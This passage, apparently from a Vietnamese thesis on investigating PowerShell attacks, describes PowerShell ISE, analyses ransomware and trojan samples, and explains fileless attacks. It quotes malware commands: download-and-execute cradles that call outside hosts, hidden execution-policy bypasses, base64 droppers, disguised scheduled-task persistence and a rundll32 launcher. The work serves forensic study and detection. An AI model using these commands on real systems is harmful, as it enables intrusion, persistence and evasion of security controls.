Trang 26Vùng bảng điều khiển thông thường được phân định bằng màu xanh lamđậm, nhưng một bộ tập tin điều khiển và chế độ xem quen thuộc được đặt dọc theothanh công cụ trên cùng, bao gồm các nút để bắt đầu phiên PowerShell từ xa cũngnhư bảng điều khiển PowerShell thông thường.
Một tính năng chính của ISE là truy cập vào một thư viện đầy đủ các lệnhkịch bản của PowerShell có sẵn từ một cửa sổ lệnh nằm bên phải Có thể tìm thấymột lệnh theo thứ tự chữ cái hoặc có thể lọc theo nhóm lệnh Sau khi chọn lệnh sẽhiển thị lên cửa sổ điều khiển mà không cần phải nhập bằng tay
Một tính năng của ISE 2.0 là hỗ trợ 32 môi trường thực thi đồng thời Tínhnăng này có vẻ đa nhiệm, nhưng các nhà phát triển có thể sử dụng tính năng này đểlàm việc với các tập lệnh liên quan và thực hiện các chỉnh sửa và cải tiến trong thờigian thực khi thấy tác động tức thời của những thay đổi đó với các tập lệnh liênquan khác
Các tính năng khác của ISE liên quan chủ yếu đến hỗ trợ chỉnh sửa Ví dụ,ISE hỗ trợ chỉnh sửa đa dòng, cho phép chèn các dòng trống hoặc mới bên dướicác dòng được chọn trong khung Lệnh Thực thi chọn lọc cho phép các nhà pháttriển chạy hoặc kiểm tra các phần mong muốn của tập lệnh bằng cách chọn phầnmong muốn của tập lệnh và nhấp vào nút Run Script hoặc nhấn nút F5 ISE có một
số tùy chọn tùy chỉnh và người dùng có thể điều chỉnh màu văn bản, phông chữ và
bố cục, thêm số dòng, số cột và điều chỉnh các phím tắt
Các phiên bản sau của PowerShell ISE thêm khả năng tự động hoàn thànhcho cmdlet, tham số, tập tin và giá trị Khả năng tự động lưu trữ tập lệnh cứ sau vàiphút để tránh mất nội dung nếu xảy ra sự cố Hàm Snippets lưu các đoạn mã ngắn
để sử dụng lại và danh sách được sử dụng gần đây nhất cung cấp quyền truy cậpnhanh vào các tập tin gần đây PowerShell ISE hợp nhất các bảng lệnh và đầu ravào một chế độ xem để phản ánh chặt chẽ hơn phản hồi của bảng điều khiểnPowerShell Người dùng có thể mở rộng các tính năng và chức năng củaPowerShell ISE bằng mã dựa trên ISE Scripting Object Model
1.4.2 Lợi ích của PowerShell ISE
Windows PowerShell ISE về cơ bản là một công cụ chỉnh sửa được sử dụng
để tạo, chỉnh sửa, kiểm tra và thực thi các kịch bản PowerShell trong môi trườngWindows ISE cung cấp một môi trường tương tác và linh hoạt hơn so với bảngđiều khiển PowerShell truyền thống
Trang 27Một số lợi ích của việc sử dụng PowerShell ISE có thể kể đến như:
Tiết kiệm thời gian và giảm lỗi khi tạo tập lệnh: Các tập lệnh thườngxuyên sử dụng các chuỗi dài dòng lệnh phức tạp, mỗi dòng có cáctham số chi tiết Có thể xây dựng cùng một tập lệnh trong PowerShell
và PowerShell ISE, nhưng các tính năng ISE như chỉ mục tương táccủa các lệnh có sẵn giúp dễ dàng tìm thấy các lệnh quan trọng, chọntham số thích hợp trong khung và sau đó thả lệnh được định dạngchính xác vào tập lệnh Điều này có thể tiết kiệm thời gian bằng cáchtăng tốc định dạng lệnh thích hợp và giảm các lỗi gõ và cú pháp phổbiến có thể tốn thời gian để tìm và sửa
Cải thiện kiểm tra kịch bản và thử nghiệm: Một tập lệnh về cơ bản làmột phần mềm ngắn trong đó các hướng dẫn liên quan đến kịch bảnPowerShell Như với bất kỳ phần mềm nào, chắc chắn sẽ có lỗi, lỗiquá mức và hậu quả không lường trước được tạo ra bởi tập lệnh Cáctính năng ISE như trình gỡ lỗi tích hợp có thể giúp phát hiện các lỗiphổ biến và đề xuất các bản sửa lỗi trước khi tập lệnh được thực thi.Các khả năng bổ sung như breakpoint và thực thi chọn lọc cho phépnhà phát triển kiểm tra các phần mong muốn của tập lệnh và chủ độngdừng thực thi tại các điểm quan trọng trong tập lệnh để kiểm tra trạngthái của các biến quan trọng và các hành vi khác
Có cái nhìn sâu sắc hơn về các kịch bản liên quan: Các tập lệnh có thể
là các thực thể tương tác cao trong đó một tập lệnh tương tác với cáctập lệnh khác Điều này có thể dẫn đến các mối quan hệ phức tạp cóthể khó theo dõi với các công cụ thực thi như PowerShell ISE hỗ trợnhiều môi trường thực thi đồng thời, cho phép các nhà phát triển tải vàtheo dõi các mối quan hệ nguyên nhân và kết quả giữa một số tập lệnhcùng một lúc ISE giúp khắc phục sự cố, đặc biệt là sau khi thay đổimột tập lệnh kích hoạt một hành vi không mong muốn hoặc lỗi trongmột tập lệnh khác
1.4.3 PowerShell với PowerShell ISE
PowerShell và PowerShell ISE đều cung cấp các tính năng thực thi giốngnhau cho các môi trường Windows Sự khác biệt chính giữa hai công cụ là sựthuận tiện PowerShell là một môi trường thực thi và thực thi kịch bản đơn giản vàđơn giản hơn, trong khi ISE cung cấp các tính năng chỉnh sửa và thực thi linh hoạt
Trang 28và dễ sử dụng hơn PowerShell có thể là một nền tảng tốt cho các tác vụ đơn giảntrong đó các hành động rõ ràng ISE thích hợp hơn khi các tác vụ kịch bản lớn hơn,phức tạp hơn và liên quan đến nhau Một so sánh của hai bộ xử lý văn bản cho thấymột sự tương tự Một công cụ như Notepad có thể lý tưởng để tạo và chỉnh sửa ghichú và văn bản ngắn, đơn giản Nhưng một công cụ như Word cung cấp nhiều tínhnăng chỉnh sửa, phông chữ, màu sắc, định dạng và kiểm tra chính tả và ngữ pháp.
Do đó, Word có thể là một công cụ thích hợp hơn cho các nhiệm vụ phức tạp nhưviết báo cáo chuyên nghiệp và phát triển một chương sách Tuy nhiên, cả hai công
cụ đều là trình xử lý văn bản
Ưu điểm của PowerShell ISE:
Tiết kiệm thời gian và giảm lỗi trong việc tạo tập lệnh;
Cải thiện gỡ lỗi và thử nghiệm;
Có cái nhìn sâu sắc hơn về các kịch bản liên quan
Nhược điểm của PowerShell ISE:
Một số việc có sự phức tạp hơn;
Giới hạn phân trang;
Thiếu hỗ trợ cho một số lệnh kế thừa
1.4.4 Sử dụng PowerShell ISE
Windows PowerShell ISE có sẵn trong Windows 10, 8.1, 8.0 và 7, cũng nhưWindows Server 2008 R2 SP1 trở lên ISE có thể được khởi động trên PCWindows 10 bằng cách nhấp vào Start, nhập tìm kiếm Windows PowerShell trongmenu Start và sau đó chọn Windows PowerShell ISE Khi ISE được khởi chạy,người dùng có thể sử dụng ISE theo nhiều cách phổ biến
Sử dụng dòng lệnh: Khi ISE khởi động, nó hoạt động giống như PowerShell
và người dùng có thể nhập lệnh vào cửa sổ dòng lệnh - khu vực lớn màu xanh đậmcủa giao diện - giống như là PowerS hell Ví dụ, để chạy lệnh, chỉ cần nhập lệnhvào Console tại dấu nhắc lệnh và nhấn Enter Người dùng có thể nhập và thực thinhiều lệnh bằng cách sử dụng Shift + Enter - về cơ bản là trả về dòng - giữa cáclệnh Người dùng có thể dừng thực thi lệnh bằng nút Stop Operation trong GUIhoặc bằng Ctrl + Break trên bàn phím
Tạo và sử dụng các tab: PowerShell ISE 2.0 hỗ trợ tối đa 32 môi trườnghoặc phiên thực thi đồng thời nhưng độc lập Mỗi môi trường được gọi là một tab
và người dùng có thể chuyển đổi giữa các tab theo ý muốn Để tạo một tab mới,bấm vào Tab PowerShell mới trên menu File Người dùng có thể chọn tạo và sử
Trang 29dụng tab PowerShell từ xa để thiết lập phiên trên máy tính từ xa, tất nhiên điều nàyyêu cầu thêm chi tiết để đăng nhập và truy cập vào máy tính từ xa.
Quản lý breakpoint để gỡ lỗi: ISE hỗ trợ sử dụng các breakpoint, là các điểmtrong tập lệnh nơi hoạt động bị tạm dừng để kiểm tra thủ công các biến và môitrường Khi gặp phải một breakpoint, người dùng có thể chạy các lệnh để kiểm tratrạng thái của tập lệnh, thay đổi trạng thái của tập lệnh và thậm chí tiếp tục hoạtđộng của tập lệnh Người dùng có thể sử dụng các breakpoint dòng để tạm dừng tạicác vị trí cụ thể, các breakpoint biến đổi để tạm dừng khi một biến mong muốnthay đổi và các breakpoint lệnh để tạm dừng khi gặp lệnh mong muốn ISE chophép người dùng thiết lập, xóa và bật/tắt các breakpoint
Chạy một profile khi ISE bắt đầu: Một profile là một kịch bản chạy khi mộtphiên được bắt đầu Một profile có thể rất quan trọng khi cấu hình môi trườngPowerShell ISE cho các tên thay thế (alias), các hàm, biến, màu, font và các tùychọn khác được sử dụng trong phiên hoặc tab ISE Người dùng có thể tạo, chọn,sửa và bật/tắt các profile trong ISE
Viết và chạy các kịch bản: ISE cơ bản là dùng để viết, sửa, chạy kịch bảnPowerShell Các tập tin kịch bản có thể bao gồm các tập tin kịch bản (.ps1), kịchbản dữ liệu (.psd1) và kịch bản module (.psm1), cũng như các tập tin khác như tậptin cấu hình (.ps1xml), tập tin XML và văn bản Để tạo tập tin tập lệnh mới, bấmNew trên thanh công cụ hoặc bấm New trên menu File Tập tin trống mới xuất hiệntrong tab mới Người dùng có thể thêm các lệnh và dữ liệu để soạn thảo tập lệnh
Để chạy tập lệnh, bấm Run tập lệnh trên thanh công cụ hoặc bấm Run trên menuFile Để chỉ chạy một phần của tập lệnh, chọn hoặc tô sáng phần mong muốn củatập lệnh và bấm Run Selection trên menu tập tin hoặc bấm Run Selection trênthanh công cụ
Trang 30bản trên một hoặc nhiều máy tính bằng một lệnh PowerShell Bên cạnh đó,Windows cũng hỗ trợ PowerShell ISE, một công cụ viết, chạy các tập lệnh, kiểmtra, sửa lỗi các tập lệnh trên một giao diện người dùng đồ họa.
Như vậy PowerShell là một công cụ với nhiều chức năng và tiện ích giúpquản trị viên có thể dễ dàng quản lý hoạt động của hệ thống Chính vì những ưuđiểm đó, PowerShell là một mục tiêu đáng chú ý đối với các kẻ tấn công
Trang 31CHƯƠNG 2 KỸ THUẬT ĐIỀU TRA TẤN CÔNG SỬ DỤNG
mã độc được viết bằng chính kịch bản PowerShell
Ransom.PowerWare là một ví dụ Mã độc ransomware này thường đượcphát tán dưới dạng macro độc hại trong tài liệu Microsoft Office Khi macro nàyđược thực thi sẽ sử dụng cmd.exe để chạy nhiều kịch bản PowerShell Các biến thểkhác của PowerWare đã được lây lan thông qua các tập tin đính kèm hta
Macro Word kích hoạt trên Document_Open Macro sau đó sử dụng hàmshell để bắt đầu thực thi lệnh PowerShell Tham số sau đây sẽ được truyền vàoshell:
“cmd /K “ + “pow” + “eR” & “sh” + “ell.e” + “x” + “e
-WindowStyle hiddeN -ExecuTionPolicy BypasS -noprofile
(New-Object
System.Net.WebClient).DownloadFile(http://[REMOVED]/file.php’,’% TEMP%\Y.ps1’); poWerShEll.exe -WindowStyle hiddeN -
ExecutionPolicy Bypass -noprofile -file %TEMP%\Y.ps1”
Tham số cho thấy một số che giấu đơn giản Từ khóa powershell.exe đượcnối từ các chuỗi nhỏ hơn và một số thuật ngữ có chữ in hoa và chữ thường Kịchbản sử dụng các cờ dòng lệnh để ẩn cửa sổ, bỏ qua chính sách thực thi và profilecục bộ Kịch bản sẽ tải xuống một tập tin PowerShell khác vào thư mục tạm thời
và thực thi sau đó Việc những kẻ tấn công không tải xuống và thực hiện các mãđộc trực tiếp từ bộ nhớ và không làm xáo trộn thêm dòng lệnh cho thấy rằng việcche giấu hành vi không được chú trọng Tuy nhiên, cuộc tấn công vẫn thành công
Kịch bản PowerShell tải xuống PowerWare sử dụng rất nhiều tên biến ngẫunhiên Kịch bản tạo một khóa ngẫu nhiên để mã hóa các tập tin mục tiêu bằng cách
sử dụng lệnh cmdlet Get-Random Khóa mã hóa sau đó được gửi lại cho kẻ tấncông bằng cách sử dụng đối tượng kiểu cũ MsXml2.XMLHTTP COM
Trang 32Script sau đó liệt kê tất cả các ổ đĩa bằng lệnh Get-PSDrive, lọc bất kỳ ổ đĩanào có không gian trống Tiếp theo, kịch bản liệt kê tất cả các tập tin đệ quy chomỗi ổ đĩa được tìm thấy bằng lệnh Get-ChildItem và tìm kiếm hơn 400 đuôi mởrộng của tập tin Mỗi tập tin phù hợp với cụm từ tìm kiếm sẽ bị mã hóa bằng tính
System.Security.Cryptography.RijndaelManaged Khi các tập tin được mã hóa,một ghi chú tiền chuộc được ghi vào FILES_ENCRYPTED-READ_ME.HTML
Hình 2.1: Hàm mã hóa PowerShell 2.1.2 W97M.Incompat
Một số tập tin workbook Excel độc hại được gửi trong email lừa đảo tới một
số người dùng Tập tin này chứa macro độc hại kích hoạt khi workbook được mở.Sau khi được thực thi, kịch bản sẽ tạo ba thư mục trong %public%\Libraries\RecordedTV\
Macro sau đó thực thi một lệnh PowerShell dài từ dòng lệnh Kịch bản nàylưu trữ một số payload workbook trong tập tin có tên là backup.vbs và tạo hai kịchbản PowerShell DnS.ps1 và DnE.ps1 Kịch bản sử dụng cách che giấu cơ bản vớinối chuỗi và thay thế chuỗi Kịch bản macro cũng hiển thị nội dung giải mã trongworkbook để đánh lừa người dùng nghĩ rằng mọi thứ vẫn bình thường Sau đây làmột ví dụ cho lệnh macro PowerShell
cmd = “powershell
“”&{$f=[System.Text.Encoding]::UTF8.GetString([System.Convert]:: FromBas” & “e64String(‘” & BackupVbs & “’)); Set-Content ‘” &
Trang 33$f=[System.Text.Encoding]::UTF8.GetString([System.Convert]::From Bas” & “e64String(‘” & DnEPs1 & “’)); $f=$f -replace ‘ ’,(Get- Random); $f=’powershell -EncodedCommand \””’+
([System.Convert]::ToBas” &
“e64String([System.Text.Encoding]::Unicode.GetBytes($f)))
+’\””’;Set-Content ‘” & pth & “DnE.ps1” & “’ $f;
$f=[System.Text.Encoding]::UTF8.GetString([System.Convert]::From Bas” & “e64String(‘” & DnSPs1 & “’)); $f=’powershell -
EncodedCommand \””’+([System.Convert]::ToBas” &
“e64String([System.Text.Encoding]::Unicode.GetBytes($f)))+’\””’; Set-Content ‘” & pth & “DnS.ps1” & “’ $f}”””
Tiếp theo, mã độc sẽ tạo một tác vụ theo lịch trình để thực hiện định kỳ kịchbản backup.vbs
%SYSTEM%\schtasks.exe /create /F /sc minute /mo 3
/tn“GoogleUpdateTasksMachineUI” /tr %ALLUSERSPROFILE%\Libraries\ RecordedTV\backup.vbs
VBScript này sử dụng PowerShell để chạy hai kịch bản:
powershell -ExecutionPolicy Bypass -File “&HOME&”DnE.ps1
powershell -ExecutionPolicy Bypass -File “&HOME&”DnS.ps1
Các kịch bản này cố tải xuống các lệnh từ máy chủ từ xa, chạy và gửi kếtquả về máy chủ Giao tiếp được xử lý với các đối tượng WebClient, nhưng cũng cómột chức năng cho phép kết nối kiểu đường hầm (tunnel) với hệ thống tên miền(DNS) Một trong những lệnh được thực thi là một bộ các lệnh hệ thống tập hợpthông tin về máy tính bị xâm nhập Các lệnh khác được sử dụng để cập nhật cáckịch bản
Hình 2.2: Hàm tải xuống sử dụng PowerShell
Trang 34 Nhật ký tổ hợp phím;
Trộm dữ liệu clipboard;
Kích hoạt các dịch vụ như RDP (Remote Desktop Protocol) hay VNC(Virtual Network Computing);
Trộm dữ liệu được lưu trong trình duyệt
Đây là tất cả các chức năng đơn giản và hầu hết các mã được tập hợp từnhiều dự án Mục đích thực sự của mã độc Trojan là tìm kiếm số thẻ tín dụng trong
tổ hợp phím Ngoài ra, mã độc giám sát các tiêu đề cửa sổ cho các từ khóa liênquan đến giao dịch tài chính
Hình 2.3 Trojan giám sát các tiêu đề có nội dung về tài chính
2.1.4 Banking trojan
Một số email lừa đảo với tập tin đính kèm pif Tập tin chứa liên kết đến kịchbản PowerShell, đã thay đổi cài đặt proxy cục bộ để định hướng tới một máy chủđộc hại Điều này cho phép kẻ tấn công có thể tác động vào bất kỳ phiên duyệtweb nào Kịch bản không sử dụng bất kỳ sự xáo trộn nào và được gọi một cách
Trang 35powershell.exe -ExecutionPolicy Bypass -File [SCRIPT tập tin NAME].ps1
2.1.5 Back door trojan
PoshRat là một mã độc back door trojan PowerShell đơn giản Có một sốbiến thể, mỗi biến thể bao gồm 100-200 dòng mã PowerShell PoshRat tự động tạomột chứng chỉ TLS (Transport Layer Security) có thể được sử dụng để mã hóathông tin liên lạc Sau khi thực thi, mã độc sẽ lắng nghe trên các cổng TCP 80 và
443 cho các kết nối đến Giao tiếp phụ trợ được thực hiện với Net.Webclient bằngphương thức DownloadString Mối đe dọa thực thi các lệnh với Invoke-Expression
Các shell như vậy được tích hợp trong các framework tấn công phổ biến, ví
dụ gói tin Nishang Ngoài máy chủ back door, các framework cung cấp cácphương thức điểm tải để thực thi payload Một phương pháp là sử dụng rundll32
để khởi động JavaScript, sau đó sẽ thực thi một dòng lệnh PowerShell
rundll32.exe javascript:”\ \mshtml,RunHTMLApplication
“;document.write();r=new%20
ActiveXObject(“WScript.Shell”).run(“powershell w h nologo noprofile -ep bypass IEX ((New-Object
2.2.1 Tổng quan về tấn công fileless
Tấn công fileless là tấn công sử dụng mã độc ở một dạng khác biệt so vớicác mã độc khác Tội phạm mạng thường tìm cách cài đặt các tập tin mã độc vàomáy tính nạn nhân Nhưng với một cuộc tấn công sử dụng mã độc fileless thìkhông cần điều đó Thay vào đó, tấn công fileless lén lút kích hoạt và sử dụng cáccông cụ, phần mềm đã, ứng dụng đã được tích hợp sẵn trong hệ điều hành mụctiêu, sau đó mã độc sẽ ẩn trong hệ thống Mã độc fileless được ẩn trong các tiến
Trang 36trình hợp pháp, các hành động xấu sẽ được thực hiện trong khi các tiến trình hợppháp vẫn được chạy Mã độc fileless có thể sẽ không bị phát hiện vì chủ yếu dựatrên bộ nhớ chứ không dựa vào tập tin Các phần mềm Antivirus thường tìm kiếm
và phát hiện mã độc dựa trên các đặc điểm nhận dạng như hành động, tập tin tạo
ra, mã băm của phần mềm, những điều đó sẽ tạo ra chữ ký số của mã độc để dễdàng phát hiện Nhưng với mã độc fileless, sẽ không có dấu vết nào để lại khi thựcthi, thế nên việc bị phát hiện bởi phần mềm Antivirus là rất khó
Mã độc fileless thực hiện các hành vi xấu trong khi ẩn trong hệ thống màkhông dùng phần mềm hay tập tin nào để làm đầu ra Việc mã độc lẩn trốn trong
hệ thống làm cho việc phát hiện trở nên khó khăn và điều đó làm cho mã độc dễdàng thực hiện hành vi độc hại miễn là vẫn còn bị ẩn
2.2.2 Các dạng tấn công fileless
Sau đây là một vài tình huống, trong đó tấn công fileless có thể sử dụng cácphầm mềm, ứng dụng, giao thức của hệ thống để cài đặt, thực hiện các hoạt độngxấu
Email lừa đảo, tải xuống các tập tin độc hại, các liên kết xấu nhưng trông có vẻ bình thường: Khi nhấp vào các liên kết này, chúng sẽ tải
xuống bộ nhớ máy tính nạn nhân, cho phép tội phạm mạng tải cáckịch bản từ xa thông qua các tập lệnh và cho phép thu thập và chia sẻ
dữ liệu bí mật
Các ứng dụng đã cài đặt như Microsoft Word hay JavaScript: Mã độc
có thể được đưa vào các ứng dụng đáng tin cậy đã được cài đặt trên hệthống, sau đó sẽ được kích hoạt để nghe lén hoặc thực thi
Các ứng dụng tin cậy được tích hợp trong hệ thống như Windows Management Instrumentation (WMI) và Microsoft PowerShell: Mã
độc fileless nhắm vào các chương trình hợp pháp từ xa Điều đó có thểlàm khó cho các chương trình bảo mật và các nhà phân tích để tìm ra
Ví dụ: khi tấn công sử dụng PowerShell, tin tặc sẽ thực thi các đoạnkịch bản độc hại vào các kịch bản PowerShell hợp pháp, về cơ bản cácđoạn mã này chạy các quy trình thông thường
Xâm nhập lân cận: Điều khiến các cuộc tấn công này lan rộng hơn là
các công cụ như Microsoft PowerShell, có thể được sử dụng để xâmnhập vào nhiều máy
Trang 37 Các trang web trông hợp pháp nhưng lại độc hại: Tội phạm mạng có
thế tạo ra các trang web lừa đảo được thiết kế để xuất hiện như cáctrang kinh doanh hoặc trang web hợp pháp Khi người dùng truy cậpcác trang này, trang web sẽ tìm kiếm các lỗ hổng của Flash trong trìnhduyệt, cho phép mã độc chạy trong bộ nhớ trình duyệt
Kịch bản một cuộc tấn công fileless:
1) Người dùng nhận một tin spam với một liên kết tới một trang web độchại;
2) Người dùng nhấp vào liên kết;
3) Trang web này kiểm tra Flash trên trình duyệt xem có lỗ hổng đã biếtnào để khai thác;
4) Flash mở Windows PowerShell, sau đó thực thi các lệnh trong khihoạt động trong bộ nhớ;
5) PowerShell tải xuống và thực thi kịch bản từ một máy chủ;
6) Kịch bản PowerShell xác định và gửi dữ liệu người dùng cho kẻ tấncông
2.2.3 Bản chất của tấn công fileless
Mã độc fileless không được ghi vào ổ đĩa như các mã độc trước đây Thayvào đó, mã độc fileless sẽ được ghi trực tiếp vào RAM, không lưu lại dấu vết nào
về sự xuất hiện của mã độc Thêm nữa, loại mã độc này hoạt động trong bộ nhớ và
sẽ kết thúc hoạt động khi hệ thống khởi động lại Đây sẽ là thách thức nữa trongviệc điều tra khi tìm điều gì đã xảy ra và tìm các biến pháp ngăn chặn trong cáccuộc tấn công sau này
Tấn công fileless vẫn cố tránh khỏi Danh sách Trắng (Whitelist), với Danhsách Trắng, chỉ những ứng dụng được cho phép mới được cài đặt trên máy Cáccuộc tấn công fileless lợi dụng các ứng dụng đã được cài đặt và nằm trong danhsách được phê duyệt Các thuật ngữ "fileless", "zero-footprint", "non-malware" lànhững cách hiểu sai về mặt kỹ thuật vì chúng thường phụ thuộc vào kẻ tấn công tảixuống tập tin độc hại và dấu vết được để lại trên máy tính vẫn được tìm ra nếu biếtđược cần phải tìm kiếm gì
Mã độc không tạo ra dấu vết không thực sự tồn tại, có nhiều cách để pháthiện mã độc kể cả không cài đặt trên ổ cứng máy tính Ngoài ra, các mã độc nàycũng không hoàn toàn tránh được các phần mềm Antivirus, vì các tập tin đính kèmxấu hoặc liên kết độc hại vẫn có thể bị phát hiện, ngay cả khi không cài đặt trên hệ
Trang 38thống Thế nhưng những kẻ tấn công biết rằng, với cách tấn công fileless hiệu quảxâm nhập và khai thác sẽ cao hơn Nếu cài đặt một tập tin vào máy tính nạn nhânthì sẽ phải tìm hiểu kỹ lưỡng nếu không sẽ thu hút sự chú ý và sẽ bị phát hiện bởicác phần mềm Antivirus Đó là lí do vì sao khi kẻ tấn công chọn sử dụng tấn côngfileless sẽ đáng sợ hơn nhiều Cuộc tấn công sẽ bỏ qua được sự giám sát và thànhcông hơn trong việc khai thác thông tin.
Lý do PowerShell được sử dụng trong tấn công fileless:
PowerShell được kẻ tấn công lựa chọn để xây dựng tấn công fileless
PowerShell là một ngôn ngữ kịch bản mạnh, cũng cấp quyền truy cậpvào sâu lõi bên trong của máy, bao gồm quyền truy cập không hạn chếvào Windows API PowerShell là một phần của Windows nên đượctin cậy hoàn toàn, vì vậy các lệnh được thực thi thường bị bỏ qua bởiphần mềm bảo mật
PowerShell có khả năng điều khiển từ xa thông qua WinRM nên trởthành công cụ hấp dẫn hơn nữa Tính năng này cho phép kẻ tấn côngvượt qua tường lửa Windows, chạy các tập lệnh PowerShell từ xahoặc đơn giản là thêm vào một phiên PowerShell, cung cấp quyềnkiểm soát hoàn toàn của quản trị viên đối với điểm cuối Và nếuWinRM bị tắt, chỉ cần một dòng mã từ xa thông qua WMI để bật lại
Các cách bảo mật truyền thống trở nên vô dụng khi đối mặt với cuộctấn công này vì PowerShell là phần mềm được tin tưởng hoàn toànbởi hệ thống, được tải trực tiếp qua bộ nhớ hệ thống và có quyền truycập không hạn chế vào hệ điều hành của Windows
2.3 Khai thác PowerShell
2.3.1 Khai thác cơ bản
Theo mặc định, Microsoft hạn chế chạy các kịch bản PowerShell bằng cácchính sách thực thi đã được đề cập trong Chương 1 Có 5 tùy chọn có sẵn có thểđược đặt cho mỗi người dùng hoặc máy tính:
Trang 39Các chính sách này không được thiết kế như một tính năng bảo mật, mà là
để ngăn người dùng vô tình thực thi các kịch bản Tuy nhiên đây cũng là cách giúpngăn các tấn công social-engineering lừa người dùng chạy các kịch bản độc hại.Khi một người dùng chạy một kịch bản ps1, kịch bản này được mở bằng Notepadthay vì được thực thi Mặc định chính sách thực thi được cài là Restricted, riêngvới Windows Server là RemoteSigned Chính sách Restricted chỉ cho phép phiênPowerShell tương tác với các câu lệnh đơn lẻ hoặc các câu lệnh có chữ ký số đượctin cậy
Các tổ chức có thể sử dụng các chính sách khác nhau tùy thuộc vào nhu cầu.Các chính sách có thể được đặt với các phạm vi khác nhau như MachinePolicy,UserPolicy, Process, CurrentUser hoặc LocalMachine Microsoft cũng cung cấpthêm thông tin về cách đặt chính sách thực thi cho từng phạm vi
Tuy nhiên, có những phương thức mà kẻ tấn công có thể sử dụng để bỏ quachính sách thực thi Điển hình như sau:
Nối đầu ra của kịch bản với tiêu chuẩn của của powershell.exe, nhưlệnh echo hoặc type
Ví dụ:
TYPE test.ps1 | powershell.exe noprofile
- Sử dụng tham số để thực thi một lệnh duy nhất Điều này sẽ bỏ quachính sách thực thi Lệnh có thể tải xuống và thực thi một tập lệnhkhác
Ví dụ:
powershell.exe -command “iex(New-Object Net.WebClient).DownloadString(‘http://[WEBSITE]/myScrip t.ps1’)”
Sử dụng tham số EncodingCommand để thực thi một lệnh được mãhóa Base64 Điều này sẽ loại trừ lệnh khỏi chính sách thực thi
Ví dụ:
powershell.exe -enc [ENCODED COMMAND]
Sử dụng tên của chính sách thực thi "bypass" hoặc "unrestricted"giống như các tham số
Ví dụ:
powershell.exe -ExecutionPolicy bypass -File test.ps1
Trang 40Nếu kẻ tấn công có quyền truy cập vào phiên PowerShell, thì sẽ có thể sửdụng các phương thức bổ sung, như Invoke-Command hoặc đơn giản là cắt và dánđoạn kịch bản vào phiên hoạt động
Nếu kẻ tấn công có thể thực thi mã trên máy tính nạn nhân, có khả năngchúng có thể sửa đổi chính sách thực thi trong registry, được lưu theo đường dẫnsau:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\
Microsoft.PowerShell
Hầu hết trong các trường hợp, PowerShell được sử dụng để làm trình tảixuống cho các tập tin bổ sung độc hại Trong khi chính sách thực thi bị hạn chế,ngăn người dùng chạy các kịch bản với đuôi ps1, kẻ tấn công có thể sử dụng cáctiện ích mở rộng khác để có thể cho phép kịch bản của chúng được thực thi
PowerShell chấp nhận danh sách các cờ dòng lệnh Trong hầu hết các trườnghợp, các kịch bản độc hại sử dụng các tham số sau đây để tránh sự phát hiện và bỏqua hạn chế
-NoP/-NoProfile (bỏ qua các lệnh trong tập tin profile);
-Enc/-EncodedCommand (chạy lệnh đã mã hóa Base64);
-W Hidden/-WindowStyle Hidden (ẩn cửa sổ lệnh);
-Exec bypass/-ExecutionPolicy Bypass (bỏ qua hạn chế chính sáchthực thi);
-NonI/-NonInteractive (không chạy shell tương tác);
-C/-Command (chạy một lệnh đơn);
-F/-File (chạy các lệnh từ một tập tin)
Vì PowerShell tự động nối thêm ký tự "*" vào tham số, nên có thể viết tắt rấtnhiều từ khóa Ví dụ, thay vì dùng -EncodingCommand, người dùng có thể nhập -enco hoặc -encodingc vì tất cả đều có thể hoán đổi cho nhau Điều nay gây khókhăn cho việc tự động xác định các tham số dòng lệnh và cần lưu ý khi thực hiệnkhớp mẫu
Trong các kịch bản độc, các lệnh và chức năng được sử dụng thường xuyênnhất là:
(New-Object System.Net.Webclient).DownloadString()
(New-Object System.Net.Webclient).DownloadFile()
-IEX/-Invoke-Expression
Start-Process